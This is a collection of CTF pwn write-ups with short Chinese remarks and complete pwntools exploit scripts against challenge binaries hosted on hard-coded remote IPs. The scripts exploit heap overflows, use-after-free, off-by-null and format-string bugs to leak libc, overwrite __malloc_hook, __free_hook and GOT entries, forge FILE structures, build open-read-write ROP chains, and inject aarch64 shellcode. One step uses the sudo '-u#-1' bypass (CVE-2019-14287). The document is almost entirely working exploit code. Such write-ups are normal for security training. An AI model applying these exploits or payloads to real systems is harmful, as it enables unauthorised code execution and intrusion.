存在堆溢出和UAF,利用堆溢出修改chunk大小,让他进入unsorted bin而不是top,切割泄漏libc地址,然后就是UAF打__malloc_hook
1 | from pwn import* |
2 | import base64 |
3 | #context.log_level = 'DEBUG' |
4 | def get_argv(recv_string,string): |
5 | #gdb.attach(p,"b *(0x555555554000+0x1348)") |
6 | p.sendafter(recv_string,base64.b64encode(p32(0x12345678)*2 + p64(0x30) + p64(8) + p64(0x8) + 'A'*8 + string)) |
7 | def Create(size,content): |
8 | get_argv('Pg==','1') |
9 | get_argv('emUgPj4=',str(size)) |
10 | get_argv('bnQgPj4=',content) |
11 | def Free(): |
12 | get_argv('Pg==','2') |
13 | def Edit(content): |
14 | get_argv('Pg==','3') |
15 | get_argv('bnQgPj4=',content) |
16 | def View(): |
17 | get_argv('Pg==','4') |
18 | p = process('./main') |
19 | libc =ELF('./libc-2.23.so') |
20 | p = remote('8.140.179.11',13452) |
21 | Create(0x20,'FMYY') |
22 | get_argv('Pg==','1') |
23 | get_argv('emUgPj4=',str(0x1000)) |
24 | get_argv('Pg==','3') |
25 | #gdb.attach(p,"b *(0x555555554000+0xD10)") |
26 | payload = '\x00'*0x28 + p64(0x3A1) + '\x00'*0x378 + p64(0x21) + '\x00'*0x18 + p64(0x791) + '\x00'*0x788 + p64(0x781) |
27 | p.sendafter('bnQgPj4=',base64.b64encode(p32(0x12345678)*2 + p64(0xF30) + p64(8) + p64(0xF08) + 'A'*8 + payload)) |
28 | Create(0x20,'\x78') |
29 | View() |
30 | p.recvline() |
31 | data = base64.b64decode(p.recvline()) |
32 | libc_base = u64(data[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68 #+ 0x100000000 |
33 | log.info('LIBC:\t' + hex(libc_base)) |
34 | Create(0x10,'\x10') |
35 | View() |
36 | p.recvline() |
37 | data = base64.b64decode(p.recvline()) |
38 | heap_base = u64(data[-6:].ljust(8,'\x00')) - 0xA10 |
39 | log.info('HEAP:\t' + hex(heap_base)) |
40 | |
41 | get_argv('Pg==','3') |
42 | p.sendafter('bnQgPj4=',base64.b64encode(p32(0x12345678)*2 + p64(0) + p64(0x68) + p64(0x68) + 'A'*8 + 'FMYY' + '\n')) |
43 | |
44 | |
45 | Create(0x60,p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) |
46 | Create(0x60,'FMYY') |
47 | Create(0x60,'FMYY') |
48 | Create(0x60,'FMYY') |
49 | get_argv('Pg==','3') |
50 | p.sendafter('bnQgPj4=',base64.b64encode(p32(0x12345678)*2 + p64(0x50) + p64(0x8) + p64(0x28) + 'A'*8 + '\x00'*0x13 + p64(libc_base + 0xF1207) + '\n')) |
51 | |
52 | p.interactive() |
1 | #coding=utf-8 |
2 | from pwn import* |
3 | #context.log_level = 'DEBUG' |
4 | ''' |
5 | func_table: [0x14018 + proc_base] |
6 | opcode_table: [0x13FE8 + proc_base] |
7 | 0x0: 0x4D-> |
8 | calloc(location,1); |
9 | calloc(timeS,1); |
10 | opcode +=3; |
11 |
|
12 | 0x1: 0x2A->add;just one times; |
13 | p8(index0) + p8(index1)+p16(Size); opcode+=5 |
14 | 0x2: 0x2F-> |
15 | free(); |
16 | p8(index0) + p8(index1); opcode+=3 |
17 | 0x3: 0x2B-> |
18 | Set the Location; |
19 | p8(index0) + p8(index1) + p8(Location); opcode+=4 |
20 | 1 < Size <= 4; |
21 | 0x4: 0x2D-> |
22 | Set the Location into 0; |
23 | p8(index0) + p8(index1); opcode +=3 |
24 | 0 0 0 0 0 0 0 0 0 0 |
25 | 0 0 0 0 0 0 0 0 0 0 |
26 | 0 0 0 0 0 0 0 0 0 0 |
27 | 0 0 0 0 0 0 0 0 0 0 |
28 | 0 0 0 0 0 0 0 0 0 0 |
29 | 0 0 0 0 0 0 0 0 0 0 |
30 | 0 0 0 0 0 0 0 0 0 0 |
31 | 0 0 0 0 0 0 0 0 0 0 |
32 | 0 0 0 0 0 0 0 0 0 0 |
33 | 0 0 0 0 0 0 0 0 0 0 |
34 |
|
35 | 0x5: 0x77-> |
36 | opcode++; Up ->2、3->2; or 0->1; |
37 | 0x6: 0x73-> |
38 | opcode++; Down ->2、3->2; or 0->1; |
39 | 0x7: 0x61-> |
40 | opcode++; Left ->2、3->2; or 0->1; |
41 | 0x8: 0x64-> |
42 | opcode++; Right->2、3->2; or 0->1; |
43 | 0x9: 0x70-> |
44 | show;opcode++; |
45 | 0xA: 0x00->Exit |
46 | 0xB: 0x01->default;opcode++; |
47 |
|
48 | ''' |
49 | #p = process(['qemu-aarch64','-g','5555','-L','.','./main']) |
50 | libc = ELF('./libc-2.27.so') |
51 | p = remote('8.140.179.11',13422) |
52 | payload = '\x4D\x10\x10' #init_All_Var |
53 | payload += '\x2A\x00\x04\xF0\x04' # Add 0 |
54 | payload += '\x2A\x00\x05\x10\x00' # Add 1 |
55 | payload += '\x2F\x00\x04' #delete 0 |
56 | payload += '\x2A\x00\x04\xF0\x00' # Add 0 |
57 | payload += '\x70' |
58 | payload += '\x73'*0xE |
59 | payload += '\x64\x61'*0x36 |
60 | payload += '\x64'*6 |
61 | payload += '\x2B\x0E\x07\x03' |
62 | payload += '\x64' |
63 | payload += '\x2B\x0F\x08\x03' |
64 | payload += '\x73' |
65 | payload += '\x2A\x00\x06\x70\x00' # Add 2 |
66 | payload += '\x2A\x00\x07\x70\x03' # Add 3 |
67 | payload += '\x2F\x00\x06' # delete 2 |
68 | payload += '\x2F\x00\x04' # delete 0 |
69 | payload += '\x2A\x00\x04\x70\x01' # Add 0 |
70 | payload += '\x2A\x00\x06\x70\x00' # Add 2 |
71 | payload += '\x2A\x00\x08\x70\x00' # Add free_hook |
72 | payload += '\x2F\x00\x06' # delete 2 |
73 | payload += '\x00' |
74 | p.sendlineafter('cmd> ',payload) |
75 | sleep(0.1) |
76 | p.sendline('FMYY') |
77 | sleep(0.1) |
78 | p.sendline('FMYY') |
79 | sleep(0.1) |
80 | p.send('\x10') |
81 | p.recvuntil('pos:0,4\n') |
82 | libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) | 0x4000000000) - 0xF10 - 0x154000 |
83 | log.info('LIBC:\t' + hex(libc_base)) |
84 | log.info('__malloc_Hook:\t' + hex(libc_base + libc.sym['__malloc_hook'])) |
85 | system = libc_base + libc.sym['system'] |
86 | free_hook = libc_base + libc.sym['__free_hook'] |
87 | log.info('__free_hook:\t' + hex(free_hook)) |
88 | p.sendline('FMYY') |
89 | sleep(0.1) |
90 | p.sendline('FMYY') |
91 | sleep(0.1) |
92 | p.sendline('\x00'*0x100 + p64(free_hook)) |
93 | sleep(0.1) |
94 | p.sendline('/bin/sh\x00') |
95 | sleep(0.1) |
96 | p.sendline(p64(system)) |
97 | sleep(0.1) |
98 | |
99 | p.interactive() |
1 | #coding=utf-8 |
2 | from pwn import* |
3 | ''' |
4 | X22: 0x100000000000 |
5 | X21: OPCode_Memory |
6 | N:0 Index:0x28; X22 --;opcode+=1 |
7 | N:1Index:0x29; X22 ++;opcode+=1 |
8 | N:2Index:0x2A; [X22]++;opcode+=1; |
9 | N:3Index:0x2F; [X22]--;opcode+=1; |
10 | N:4Index:0x40; _IO_putc(X22);opcode+=1; |
11 | N:5Index:0x23; _IO_getc(X22);opcode+=1; |
12 | N:6Index:0x5B; |
13 | N:7Index:0x5D; |
14 | N:8Index:0x00; |
15 | N:9Index:0x47; Call 0x100000000000 |
16 | N:A Index:0x01; Default; |
17 | ''' |
18 | #p = process(['qemu-aarch64','-g','6666','-L','.','./main']) |
19 | p = remote('8.140.179.11',51322) |
20 | shellcode = '\xE1\x45\x8C\xD2\x21\xCD\xAD\xF2\xE1\x65\xCE\xF2\x01\x0D\xE0\xF2\xE1\x8F\x1F\xF8\xE1\x03\x1F\xAA\xE2\x03\x1F\xAA\xE0\x63\x21\x8B\xA8\x1B\x80\xD2\xE1\x66\x02\xD4' |
21 | |
22 | p.send('\x23\x29'*len(shellcode) + '\x47') |
23 | |
24 | sleep(0.5) |
25 | p.send(shellcode) |
26 | p.interactive() |
泄漏下lib地址,然后计算下基址,因为远程qemu无随机化,所以直接任意写改got表即可
1 | from pwn import* |
2 | p = process("qemu-aarch64 -L . ./emarm",shell=True) |
3 | p = remote('183.129.189.60',10012) |
4 | elf =ELF('./emarm') |
5 | libc =ELF('./libc.so.6') |
6 | p.sendlineafter('passwd:','\x00') |
7 | p.send(str(elf.got['atoi'])) |
8 | system = libc.sym['system'] + 0x4000830000 |
9 | p.sendafter('success',p64(system)) |
10 | p.interactive() |
同样是ARM架构的ELF文件,QEMU启动然后发现有个off by null,通过创造一个fake chunk,实现任意写改free_hook为system后利用程序结束时的free执行/bin/sh
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choice:',str(ch)) |
4 | def add(content1,content2,sign): |
5 | menu(1) |
6 | p.sendafter('cx:',content1) |
7 | p.sendafter('cy:',content2) |
8 | p.sendlineafter('delete?',str(sign)) |
9 | def free(index,content): |
10 | menu(3) |
11 | p.sendline(str(index)) |
12 | p.send(content) |
13 | def gift(content1,content2,sign): |
14 | menu(4) |
15 | p.sendafter('cx:',content1) |
16 | p.sendafter('cy:',content2) |
17 | p.sendlineafter('delete?',str(sign)) |
18 | |
19 | p = process("qemu-aarch64 -g 5555 -L . ./main",shell=True) |
20 | p = remote('183.129.189.60',10034) |
21 | elf =ELF('./main') |
22 | libc =ELF('./libc.so.6') |
23 | p.send('/bin/sh\x00') |
24 | |
25 | add('FMYY','FMYY',0) |
26 | add('FMYY','FMYY',0) |
27 | add('FMYY','FMYY',1) |
28 | |
29 | gift('FMYY',p64(0x31),1) |
30 | free(1,p64(0) + p64(0x41) + 'FMYYSSSS') |
31 | |
32 | gift('FMYY',p64(0x4000830000 + libc.sym['__free_hook']),0) |
33 | #og = [0x3F14c,0x3F150,0x3F174,0x3F198,0x63E80,0x63E78,0x63E6C] |
34 | free(2,p64(libc.sym['system'] + 0x4000830000)) |
35 | menu(5) |
36 | p.interactive() |
简单在栈上布置ROP,然后修改got表,将栈迁移上去即可
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | p = remote('183.129.189.60',10041) |
5 | libc =ELF('./libc-2.23.so') |
6 | p.sendline('1') |
7 | p.sendline('1') |
8 | p.sendline('1') |
9 | p.sendline('2') |
10 | p.sendafter('name:','F'*8) |
11 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x7B61E |
12 | log.info('LIBC:\t' + hex(libc_base)) |
13 | p.sendafter('name:','F'*8*5) |
14 | stack = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0xD0 |
15 | log.info('Stack:\t' + hex(stack)) |
16 | |
17 | Open = libc_base + libc.symbols["open"] |
18 | Read = libc_base + libc.symbols["read"] |
19 | Puts = libc_base + libc.symbols['puts'] |
20 | pop_rdi_ret = libc_base + 0x0000000000021112 |
21 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
22 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
23 | pop_rdx_xx = libc_base + 0x00000000000EA759 |
24 | orw = '' |
25 | orw += p64(pop_rdi_ret)+p64(stack + 0x78) |
26 | orw += p64(pop_rsi_ret)+p64(0) |
27 | orw += p64(Open) |
28 | orw += p64(pop_rdi_ret) + p64(3) |
29 | orw += p64(pop_rsi_ret) + p64(libc.bss() + libc_base + 0x200) |
30 | orw += p64(Read) |
31 | orw += p64(pop_rdi_ret)+p64(libc.bss() + libc_base + 0x200) |
32 | orw += p64(Puts) |
33 | orw += './flag\x00\x00' |
34 | |
35 | payload = p64(0x30) + '\x00'*0x4 + p32(0x602028) + orw |
36 | p.sendlineafter('name:',payload) |
37 | p.sendlineafter('id',str((pop_rdx_xx&0xFFFFFFFF))) |
38 | p.interactive() |
2.23的one_gadget有两个和read函数可以爆破到同一个内存页,所以构造unlink任意写修改read的got表,然后CVE-2019-14287获取flag,这个题太水了
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendline(str(ch)) |
4 | sleep(0.1) |
5 | def add(idx): |
6 | menu(1) |
7 | p.sendline(str(idx)) |
8 | sleep(0.1) |
9 | def edit(idx,content): |
10 | menu(2) |
11 | p.sendline(str(idx)) |
12 | sleep(0.1) |
13 | p.send(content) |
14 | sleep(0.1) |
15 | def free(idx): |
16 | menu(3) |
17 | p.sendline(str(idx)) |
18 | sleep(0.1) |
19 | p = process('./main') |
20 | elf =ELF('./main') |
21 | p = remote('183.129.189.60',10013) |
22 | libc = ELF('./libc-2.23.so') |
23 | |
24 | LIST = 0x403480 |
25 | payload = p64(0) + p64(0xF1) |
26 | payload += p64(LIST - 0x18) + p64(LIST - 0x10) |
27 | payload = payload.ljust(0xF0,'\x00') |
28 | payload += p64(0xF0) |
29 | add(0) |
30 | add(1) |
31 | menu(4) |
32 | edit(0,payload) |
33 | free(1) |
34 | edit(0,'\x00'*0x18 + p64(elf.got['read'])) |
35 | edit(0,'\x07\x42') |
36 | pause() |
37 | p.sendline('sudo -u#-1 cat flag') |
38 | p.interactive() |
UAF,有一说一,给我吧把libc文件中setcontext的寄存器改了,让我卡了两个小时,我一度以为一直是rdi在控制参数,结果变成rcx控制了,那就换一个通用gadget来栈迁移即可
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('> ',str(ch)) |
5 | def new(name,age,msg): |
6 | menu(1) |
7 | p.sendlineafter('name: ',name) |
8 | p.sendlineafter('age: ',str(age)) |
9 | p.sendlineafter('message: ',msg) |
10 | def note(size,note): |
11 | menu(4) |
12 | p.sendlineafter('size: ',str(size)) |
13 | p.sendafter('content: ',note) |
14 | p = process('./main') |
15 | p = process(['./main'],env={'LD_PRELOAD':'./libc-2.23.so'}) |
16 | p = remote('183.129.189.60',10000) |
17 | context.binary = './main' |
18 | elf = ELF('./main') |
19 | libc = ELF('./libc-2.23.so') |
20 | new('FMYY',16,'FMYY') |
21 | menu(2) |
22 | note(0x38,p64(0x401D98) + p64(0) + p64(0x603328) + p64(8)) |
23 | menu(3) |
24 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdout_'] |
25 | |
26 | new('FMYY',16,'FMYY') |
27 | new('FMYY',16,'FMYY') |
28 | menu(2) |
29 | note(0x38,p64(0x401D98) + p64(0) + p64(0x603340) + p64(8)) |
30 | menu(3) |
31 | |
32 | p.recvuntil('name :') |
33 | heap = u64(p.recv(8)) |
34 | log.info('HEAP:\t' + hex(heap)) |
35 | |
36 | menu(2) |
37 | note(0x38,p64(0x401D98) + p64(0) + p64(libc_base + libc.sym['__malloc_hook'] + 0x68) + p64(8)) |
38 | menu(3) |
39 | p.recvuntil('name :') |
40 | top = u64(p.recv(8)) |
41 | log.info('TOP:\t' + hex(top)) |
42 | |
43 | for i in range(2): |
44 | note(0x38,'FMYY') |
45 | for i in range(4): |
46 | note(0x10,'FMYY') |
47 | |
48 | |
49 | new('FMYY',16,'FMYY') |
50 | menu(2) |
51 | note(0x38,p64(0x401D98) + p64(0) + p64(0x603340) + p64(8)) |
52 | menu(3) |
53 | p.recvuntil('name :') |
54 | heap2 = u64(p.recv(8)) |
55 | log.info('HEAP2:\t' + hex(heap2)) |
56 | menu(3) |
57 | |
58 | magic = 0x603360 |
59 | Open = libc_base + libc.symbols["openat"] |
60 | Read = libc_base + libc.symbols["read"] |
61 | Write = libc_base + libc.symbols['write'] |
62 | Puts = libc_base + libc.sym['puts'] |
63 | pop_rdi_ret = libc_base + 0x0000000000021112 |
64 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
65 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
66 | leave_ret = libc_base + 0x0000000000042361 |
67 | ret = pop_rdi_ret + 1 |
68 | orw = '' |
69 | orw += p64(pop_rdi_ret) + p64(0) |
70 | orw += p64(pop_rsi_ret) + p64(leave_ret) |
71 | orw += p64(pop_rsi_ret) + p64(magic + 0xA0) |
72 | orw += p64(pop_rdx_ret) + p64(0) |
73 | orw += p64(Open) |
74 | orw += p64(pop_rdi_ret) + p64(3) |
75 | orw += p64(pop_rsi_ret) + p64(0x603400) |
76 | orw += p64(pop_rdx_ret) + p64(0x30) |
77 | orw += p64(Read) |
78 | orw += p64(pop_rdi_ret)+p64(1) |
79 | orw += p64(Write) |
80 | orw += '/flag\x00\x00' |
81 | |
82 | gadget1 = 0x000000000007371E + libc_base |
83 | new('FMYY',16,p64(gadget1) + orw) |
84 | menu(2) |
85 | note(0x38,p64(magic)) |
86 | note(0x100,'\x00'*0x58 + p64(magic)) |
87 | #gdb.attach(p,"b *0x401826") |
88 | menu(3) |
89 | |
90 | log.info('LIBC:\t' + hex(libc_base)) |
91 | p.interactive() |
1 | #coding=utf-8 |
2 | from pwn import* |
3 | import numpy as np |
4 | #context.log_level = 'DEBUG' |
5 | def Get_T(s): |
6 | line = [] |
7 | tmp = [] |
8 | j = 0 |
9 | k = 0 |
10 | start = [] |
11 | end = [] |
12 | data = '' |
13 | for i in range(s): |
14 | data += p.recvline() |
15 | data = data.replace('\x23','\x00') # black |
16 | data = data.replace('\x20','\x01') # white |
17 | data = data.replace('\x24','\x03') # flag |
18 | data = data.replace('\x2A','\x02') |
19 | for i in data: |
20 | if(i == '\n'): |
21 | line.append(tmp) |
22 | tmp = [] |
23 | j += 1 |
24 | k = 0 |
25 | elif(i == '\x02'): |
26 | start.append(j) |
27 | start.append(k) |
28 | k += 1 |
29 | tmp.append(ord(i)) |
30 | elif(i == '\x03'): |
31 | end.append(j) |
32 | end.append(k) |
33 | k += 1 |
34 | tmp.append(ord(i)) |
35 | else: |
36 | k += 1 |
37 | tmp.append(ord(i)) |
38 | return line,start,end |
39 | ############################### |
40 | def up(location): |
41 | # 到达了数组顶端 |
42 | if location[0] == 0: |
43 | return False |
44 | else: |
45 | new_location = [location[0] - 1, location[1]] |
46 | |
47 | # 走过的路不再走 |
48 | if new_location in history_path: |
49 | return False |
50 | # 遇到墙不走 |
51 | elif maze[new_location[0]][new_location[1]] == 0: |
52 | return False |
53 | else: |
54 | lookup_path.append(new_location) |
55 | history_path.append(new_location) |
56 | return True |
57 | |
58 | |
59 | def down(location): |
60 | # 遇到迷宫最下方的时候,不能继续往下走 |
61 | if location[0] == len(maze) - 1: |
62 | return False |
63 | else: |
64 | new_location = [location[0] + 1, location[1]] |
65 | # 走过的路不再走 |
66 | if new_location in history_path: |
67 | return False |
68 | # 遇到墙不走 |
69 | elif maze[new_location[0]][new_location[1]] == 0: |
70 | return False |
71 | else: |
72 | history_path.append(new_location) |
73 | lookup_path.append(new_location) |
74 | return True |
75 | |
76 | |
77 | def left(location): |
78 | # 遇到迷宫最左边,不能继续往左走 |
79 | if location[1] == 0: |
80 | return False |
81 | else: |
82 | new_location = [location[0], location[1] - 1] |
83 | # 走过的路不再走 |
84 | if new_location in history_path: |
85 | return False |
86 | # 遇到墙不走 |
87 | elif maze[new_location[0]][new_location[1]] == 0: |
88 | return False |
89 | else: |
90 | history_path.append(new_location) |
91 | lookup_path.append(new_location) |
92 | return True |
93 | |
94 | |
95 | def right(location): |
96 | # 遇到迷宫最右边,不能继续向右移动 |
97 | if location[1] == len(maze[0]) - 1: |
98 | return False |
99 | else: |
100 | new_location = [location[0], location[1] + 1] |
101 | # 走过的路不再走 |
102 | if new_location in history_path: |
103 | return False |
104 | # 遇到墙不走 |
105 | elif maze[new_location[0]][new_location[1]] == 0: |
106 | return False |
107 | else: |
108 | history_path.append(new_location) |
109 | lookup_path.append(new_location) |
110 | return True |
111 | def get_line(path): |
112 | p = '' |
113 | for i in range(len(path)-1): |
114 | tmp1 = path[i] |
115 | tmp2 = path[i + 1] |
116 | if tmp1[0] > tmp2[0]: |
117 | p += 'w' |
118 | elif tmp1[0] < tmp2[0]: |
119 | p += 's' |
120 | if tmp1[1] > tmp2[1]: |
121 | p += 'a' |
122 | elif tmp1[1] < tmp2[1]: |
123 | p += 'd' |
124 | return p |
125 | |
126 | |
127 | p = remote('182.92.203.154',11001) |
128 | p.sendlineafter('Please press any key to start.','FMYY') |
129 | |
130 | for i in range(5): |
131 | log.info('LEVEL' + str(i+1)) |
132 | maze,start,end = Get_T(11 + i*10) |
133 | lookup_path = [] |
134 | history_path = [] |
135 | lookup_path.append(start) |
136 | history_path.append(start) |
137 | while lookup_path[-1] != end: |
138 | now = lookup_path[-1] |
139 | if up(now) or down(now) or left(now) or right(now): |
140 | continue |
141 | lookup_path.pop() |
142 | #print("Final:", lookup_path) |
143 | path = get_line(lookup_path) |
144 | #log.info('PATH:\t' + path) |
145 | p.sendlineafter('> ',path) |
146 | p.recvuntil('your win\n') |
147 | |
148 | p.interactive() |
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('>> ',str(ch)) |
4 | def new(index,size,content): |
5 | menu(1) |
6 | p.sendlineafter(': ',str(index)) |
7 | p.sendlineafter('turbine: ',str(size)) |
8 | p.sendafter('name: ',content) |
9 | def show(index): |
10 | menu(2) |
11 | p.sendlineafter('viewed: ',str(index)) |
12 | def edit(index,content): |
13 | menu(3) |
14 | p.sendlineafter('turbine: ',str(index)) |
15 | p.sendafter('input: ',content) |
16 | p = process('./main') |
17 | p = remote('182.92.203.154',28452) |
18 | libc =ELF('./libc-2.23.so') |
19 | new(0,0x200,'\x00'*0x208 + p32(0xDF1)) |
20 | new(1,0x1000,'FMYY') |
21 | new(2,0x100,'\xA0') |
22 | show(2) |
23 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 - 0x620 |
24 | log.info('LIBC:\t' + hex(libc_base)) |
25 | |
26 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
27 | IO_str_jumps = libc_base + 0x3C37A0 |
28 | fake_IO_FILE = p64(0) + p64(0x61) |
29 | fake_IO_FILE += p64(0) + p64(IO_list_all - 0x10) |
30 | fake_IO_FILE += p64(0) + p64(1) |
31 | fake_IO_FILE += p64(0) + p64(libc_base + libc.search('/bin/sh').next()) |
32 | fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00') |
33 | fake_IO_FILE += p64(IO_str_jumps - 8) |
34 | fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['system']) |
35 | new(3,0x200,'\x00'*0x200 + fake_IO_FILE) |
36 | menu(1) |
37 | p.sendline('4') |
38 | p.sendline(str(0x200)) |
39 | p.interactive() |
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | p = remote('182.92.203.154',35264) |
5 | libc =ELF('./libc-2.23.so') |
6 | p.sendline('fg %12$p') |
7 | p.recvuntil('0x') |
8 | proc_base = int(p.recv(12),16) - 0x203169 |
9 | log.info('Proc:\t' + hex(proc_base)) |
10 | |
11 | |
12 | |
13 | payload = 'fg %174$s' |
14 | payload = payload.ljust(0x10,'U') |
15 | payload += p64(proc_base + 0x2030B8) |
16 | p.sendline(payload) |
17 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['getopt'] |
18 | log.info('LIBC:\t' + hex(libc_base)) |
19 | |
20 | |
21 | payload = 'fg %' + str((libc_base + 0x45226)&0xFF) + 'c%174$hhn' |
22 | payload = payload.ljust(0x10,'U') |
23 | payload += p64(proc_base + 0x2030C8) |
24 | p.sendline(payload ) |
25 | |
26 | sleep(0.2) |
27 | payload = 'fg %' + str(((libc_base + 0x45226)>>8)&0xFF) + 'c%174$hhn' |
28 | payload = payload.ljust(0x10,'U') |
29 | payload += p64(proc_base + 0x2030C8 + 1) |
30 | p.sendline(payload ) |
31 | |
32 | sleep(0.2) |
33 | payload = 'fg %' + str(((libc_base + 0x45226)>>16)&0xFF) + 'c%174$hhn' |
34 | payload = payload.ljust(0x10,'U') |
35 | payload += p64(proc_base + 0x2030C8 + 2) |
36 | p.sendline(payload) |
37 | |
38 | sleep(0.2) |
39 | payload = 'fg %' + str(((libc_base + 0x45226)>>24)&0xFF) + 'c%174$hhn' |
40 | payload = payload.ljust(0x10,'U') |
41 | payload += p64(proc_base + 0x2030C8 + 3) |
42 | p.sendline(payload) |
43 | |
44 | sleep(0.2) |
45 | payload = 'fg %' + str(((libc_base + 0x45226)>>32)&0xFF) + 'c%174$hhn' |
46 | payload = payload.ljust(0x10,'U') |
47 | payload += p64(proc_base + 0x2030C8 + 4) |
48 | p.sendline(payload) |
49 | |
50 | sleep(0.2) |
51 | payload = 'fg %' + str(((libc_base + 0x45226)>>40)&0xFF) + 'c%174$hhn' |
52 | payload = payload.ljust(0x10,'U') |
53 | payload += p64(proc_base + 0x2030C8 + 5) |
54 | p.sendline(payload) |
55 | p.sendline('quit') |
56 | p.interactive() |
第一次知道strncmp依旧不是按照n来比较的,还是会\0截断
爆破脚本
1 | # coding=utf-8 |
2 | from pwn import* |
3 | from Crypto.Util.number import * |
4 | import string |
5 | import hashlib |
6 | import random |
7 | s = '%p%p%pLC:%p' |
8 | def passwd(): |
9 | def F(code): |
10 | hashresult=hashlib.sha256(s + code).digest().encode('hex').upper() |
11 | return hashresult.startswith('E85000') |
12 | |
13 | prefix = util.iters.mbruteforce(F, string.ascii_letters + string.digits, 4, 'fixed') |
14 | return prefix |
15 | print passwd() |
思路来自havik师傅,劫持stdout的缓冲区到bss,让缓冲区的字节修改0x7008位置的指针,实现任意写
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def adjust(index,size,content): |
6 | menu(2) |
7 | p.sendlineafter('the power: ',str(index)) |
8 | p.sendlineafter('size: ',str(size)) |
9 | p.sendafter('staff: ',content) |
10 | def delete(index): |
11 | menu(3) |
12 | p.sendlineafter('power: ',str(index)) |
13 | def login(): |
14 | menu(2) |
15 | p.sendlineafter('account :','QAQ') |
16 | p.sendafter('password :','rCLQ\n') |
17 | p = process('./main') |
18 | p = remote('182.92.203.154',15268) |
19 | libc =ELF('./libc-2.29.so') |
20 | login() |
21 | adjust(-6,0,'\x00'*0x17 + '\n') |
22 | p.sendline('2') |
23 | p.sendline('-2') |
24 | p.sendline('0') |
25 | p.sendline('\x00'*0xD8 + p64(0xFBAD1800)) |
26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] - 0xD00 |
27 | log.info('LIBC:\t' + hex(libc_base)) |
28 | environ = libc_base + libc.sym['environ'] |
29 | system = libc_base + libc.sym['system'] |
30 | IO_stdout_off = libc_base + libc.sym['_IO_2_1_stdout_'] + 131 |
31 | adjust(-6,0,'\x00'*0x18 + p64(environ) + p64(environ + 8) + p64(environ + 8) + p64(IO_stdout_off) + p64(IO_stdout_off + 1) + '\n') |
32 | p.sendline('2') |
33 | p.sendline('-2') |
34 | p.sendline('0') |
35 | p.sendline('\x00'*0xD8 + p64(0xFBAD1800)) |
36 | |
37 | stack = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) |
38 | log.info('Stack:\t' + hex(stack)) |
39 | leak_address = stack - 0x160 |
40 | adjust(-6,0,'\x00'*0x18 + p64(leak_address) + p64(leak_address + 8) + p64(leak_address + 8) + p64(IO_stdout_off) + p64(IO_stdout_off + 1) + '\n') |
41 | p.sendline('2') |
42 | p.sendline('-2') |
43 | p.sendline('0') |
44 | p.sendline('\x00'*0xD8 + p64(0xFBAD1800)) |
45 | |
46 | proc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x7040 |
47 | log.info('Proc:\t' + hex(proc_base)) |
48 | |
49 | leak_address = proc_base + 0x7000 |
50 | adjust(-6,0,p64(leak_address)*6 + p64(leak_address + 2) + p64(leak_address + 9)+ '\n') |
51 | p.sendline('2') |
52 | p.sendline('-2') |
53 | p.sendline('0') |
54 | p.sendline('\x00'*0xD8 + p64(0xFBAD1800)) |
55 | |
56 | IO_overflow = libc_base + libc.sym['_IO_file_jumps'] + 0x18 |
57 | adjust(-13,0,p64(1) + p64(IO_overflow - 8) + '\n') |
58 | adjust(1,0,p64(libc_base + 0x106EF8) + '\n') |
59 | p.interactive() |
走题目所给后门,2.24下的fsop 会调用free_buffer指针,而2.29改为调用free函数
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def adjust(index,size,content): |
6 | menu(2) |
7 | p.sendlineafter('the power: ',str(index)) |
8 | p.sendlineafter('size: ',str(size)) |
9 | p.sendafter('staff: ',content) |
10 | def delete(index): |
11 | menu(3) |
12 | p.sendlineafter('power: ',str(index)) |
13 | def login(): |
14 | menu(2) |
15 | p.sendlineafter('account :','QAQ') |
16 | p.sendafter('password :','%p%p%pLC:%pbMUK\n') |
17 | p = process('./main') |
18 | #p = remote('182.92.203.154',15268) |
19 | libc =ELF('./libc-2.29.so') |
20 | login() |
21 | p.recvuntil('LC:') |
22 | libc_base = int(p.recv(14),16) - 0x1EC540 |
23 | log.info('LIBC:\t' + hex(libc_base)) |
24 | |
25 | system = libc_base + libc.sym['system'] |
26 | |
27 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
28 | IO_str_jumps = libc_base + 0x1E6620 |
29 | fake_IO_FILE = '\x00'*0x18 |
30 | fake_IO_FILE += p64(0) + p64(1) |
31 | fake_IO_FILE += p64(0) + p64(libc_base + libc.search('/bin/sh').next()) |
32 | fake_IO_FILE = fake_IO_FILE.ljust(0xD0,'\x00') |
33 | fake_IO_FILE += p64(IO_str_jumps - 8) + p64(0xFBAD2887) |
34 | |
35 | |
36 | adjust(-2,0,fake_IO_FILE) |
37 | p.sendline('FMYY') |
38 | menu(4) |
39 | p.sendlineafter('__free_hook',p64(system)) |
40 | p.interactive() |
